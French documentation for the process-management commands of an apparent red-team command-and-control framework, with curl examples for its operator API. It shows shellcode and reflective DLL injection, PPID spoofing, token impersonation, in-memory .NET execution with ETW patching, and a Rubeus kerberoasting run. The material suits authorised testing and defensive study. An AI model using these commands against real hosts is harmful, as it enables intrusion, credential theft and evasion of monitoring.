Gestion des processus¶

Commandes pour l'interaction des processus : répertorier les processus en cours d'exécution, exécuter des commandes, générer de nouveaux processus, injecter dans des processus existants et tuer des processus sur l'hôte cible.

Les commandes de gestion de processus se répartissent en deux modèles d'exécution :

• Exécution en ligne : s'exécute au sein du processus de beacon lui-même. Aucun processus enfant n'est créé, mais un crash affecte le beacon.
• Fork-and-run - génère un processus enfant sacrificiel, y effectue le travail, capture la sortie via un canal nommé, puis met fin au processus enfant. Plus sûr pour le beacon mais crée des artefacts de processus.

flowchart LR
    A[Operator] -->|Shell Command| B[Backend]
    B -->|Task Queue| C[Beacon]
    C -->|Inline| D[Beacon Process<br/>Direct Execution]
    C -->|Fork & Run| E[Sacrificial Process<br/>Output via Pipe]

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff

Référence des commandes¶

Liste des processus¶

ps¶

Répertoriez les processus en cours d’exécution sur l’hôte cible. L'implant énumère les processus utilisant NtQuerySystemInformation ou CreateToolhelp32Snapshot -- aucun cmd.exe n'est généré. La sortie inclut le PID, le PPID, le nom du processus, l’architecture, l’utilisateur et l’ID de session.

Type de tâche : ps (méthode : list)

Point de terminaison dédié : POST /api/v1/cockpit/beacons/:id/processes

ps

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/processes" \
  -H "Authorization: Bearer $TOKEN"

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "ps"}'

Exemple de résultat :

PID   PPID  Name                    Arch  User              Session
---   ----  ----                    ----  ----              -------
0     0     [System Process]        x64                     0
4     0     System                  x64   NT AUTHORITY\SYS  0
672   4     smss.exe                x64   NT AUTHORITY\SYS  0
788   672   csrss.exe               x64   NT AUTHORITY\SYS  0
1284  788   svchost.exe             x64   NT AUTHORITY\SYS  0
3456  1284  explorer.exe            x64   CORP\jsmith       2
5678  3456  chrome.exe              x64   CORP\jsmith       2

Fin du processus¶

tuer¶

Terminez un processus par PID en utilisant TerminateProcess.

Type de tâche : kill (méthode : kill)

Point de terminaison dédié : POST /api/v1/cockpit/beacons/:id/processes/kill

kill 5678

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/processes/kill" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"pid": 5678}'

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kill 5678"}'

Exécution des commandes¶

Trois variantes d'exécution de commandes sont disponibles, chacune avec des compromis différents entre OPSEC et fonctionnalités.

Type de tâche : exec (la méthode varie : shell, run, execute)

shell whoami /all

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shell whoami /all"}'

run whoami.exe /all

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "run whoami.exe /all"}'

execute notepad.exe

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "execute notepad.exe"}'

Héritage de jetons¶

Les trois commandes d'exécution (shell, run, execute) héritent du jeton d'emprunt d'identité actuel du beacon. Si vous avez utilisé steal_token ou make_token pour usurper l'identité d'un autre utilisateur, les processus enfants s'exécutent sous cette identité. Celui-ci utilise CreateProcessAsUser en interne via le SysProcAttr.Token de Go.

Usurpation PPID¶

Lorsque l'usurpation d'identité PPID est activée (via config ppid_target <process>), la commande shell génère cmd.exe avec un faux processus parent. L'enfant apparaît dans les outils de l'arborescence des processus sous le parent usurpé (par exemple, explorer.exe) au lieu du processus beacon.

Exécution PowerShell¶

powershell Get-Process | Select-Object -First 10

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "powershell Get-Process | Select-Object -First 10"}'

powerpick Get-Process | Select-Object -First 10

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "powerpick Get-Process | Select-Object -First 10"}'

psinject 3456 x64 Get-Process

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "psinject 3456 x64 Get-Process"}'

Exécution de l'assemblage .NET¶

exécuter-assemblage¶

Exécutez un assembly .NET en mémoire via l’hébergement CLR dans un processus sacrificiel. Le binaire de l'assembly est lu à partir de la machine de l'opérateur, converti en shellcode via Donut sur le relais et exécuté via fork-and-run. La sortie est capturée via un canal nommé.

Type de tâche : execute_assembly (envoyé via Relay for Donut conversion)

execute-assembly /path/to/Seatbelt.exe -group=all

execute-assembly PATCHES: ntdll.dll,EtwEventWrite,0,c3 /path/to/Rubeus.exe kerberoast

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "execute-assembly /path/to/Seatbelt.exe -group=all"}'

Comment ça marche :

1. Le backend lit le fichier d'assemblage .NET et l'encode en base64
2. Le relais convertit l'assembly en shellcode à l'aide de Donut (DONUT_MODULE_NET_EXE)
3. Le beacon engendre un processus sacrificiel (en utilisant la configuration spawnto)
4. Le shellcode est injecté dans le processus sacrificiel
5. CLR charge et exécute l'assembly
6. La sortie est capturée via un canal nommé et renvoyée à l'opérateur
7. Le processus sacrificiel se termine

Préfixe PATCHES : Spécifiez éventuellement les correctifs en mémoire à appliquer avant l'exécution. Format : PATCHES: dll,function,offset,hex_bytes. Utilisation courante : patch EtwEventWrite à ret (c3) pour supprimer la télémétrie ETW de l'assembly.

exécuter-dll¶

Exécutez la fonction exportée d'une DLL en mémoire via sRDI (Shellcode Reflective DLL Injection) et fork-and-run. La DLL est convertie en shellcode indépendant de la position et exécutée dans un processus sacrificiel avec E/S bidirectionnelles.

Type de tâche : postex (méthode : execute)

execute-dll <base64_dll_data> [x64]

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "execute-dll '$DLL_B64' x64"}'

Exécution du BOF¶

exécution en ligne¶

Exécutez un fichier objet beacon (BOF) en ligne dans le processus de beacon. Les BOF sont des fichiers objets COFF indépendants de la position qui s'exécutent directement dans l'espace mémoire du beacon sans créer de processus sacrificiel.

Type de tâche : bof_execute

inline-execute /path/to/whoami.o

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "inline-execute /path/to/whoami.o"}'

Comment ça marche :

1. Le backend lit le fichier BOF et l'encode en base64
2. L'exécuteur BOF du beacon résout les importations du BOF par rapport à l'API Beacon.
3. La fonction go du BOF s'exécute dans le propre thread du beacon
4. La sortie est renvoyée via l'API de sortie BOF (BeaconPrintf, BeaconOutput)

Fork-and-Run / Injection de processus¶

Ces commandes exécutent du shellcode ou des DLL soit dans un nouveau processus sacrificiel (fork-and-run), soit dans un processus cible existant (injection).

shspawn¶

Exécutez le shellcode brut dans un processus sacrificiel via fork-and-run. Le beacon génère un nouveau processus (en utilisant la configuration spawnto), injecte le shellcode et l'exécute.

Type de tâche : shspawn

shspawn x64 /path/to/shellcode.bin

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shspawn x64 /path/to/shellcode.bin"}'

La commande shspawn appelle le hook PROCESS_INJECT_SPAWN CNA, permettant aux scripts agresseurs de personnaliser la technique d'injection et la sélection du processus sacrificiel.

shinject¶

Injectez du shellcode dans un processus existant. Contrairement à shspawn, cela cible un processus déjà en cours, évitant ainsi la création d'un nouveau processus sacrificiel.

Type de tâche : interop (méthode : shinject)

shinject 3456 x64 /path/to/shellcode.bin

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shinject 3456 x64 /path/to/shellcode.bin"}'

La commande shinject appelle le hook PROCESS_INJECT_EXPLICIT CNA pour la personnalisation de la technique.

dllinjecter¶

Injection de DLL réfléchissante dans un processus cible. La DLL est chargée dans la mémoire du processus cible sans appeler LoadLibrary, évitant ainsi la chaîne d'événements de chargement de DLL standard.

Type de tâche : interop (méthode : dllinject)

dllinject 3456 /path/to/payload.dll

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dllinject 3456 /path/to/payload.dll"}'

téléchargement de dll¶

Chargez une DLL dans un processus cible via LoadLibrary. Contrairement à dllinject, celui-ci utilise le mécanisme de chargement de DLL Windows standard, qui déclenche des événements de chargement de DLL.

Type de tâche : interop (méthode : dllload)

dllload 3456 C:\Users\Public\payload.dll

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dllload 3456 C:\\Users\\Public\\payload.dll"}'

Référence du type de tâche¶

Comparaison des modèles d'exécution¶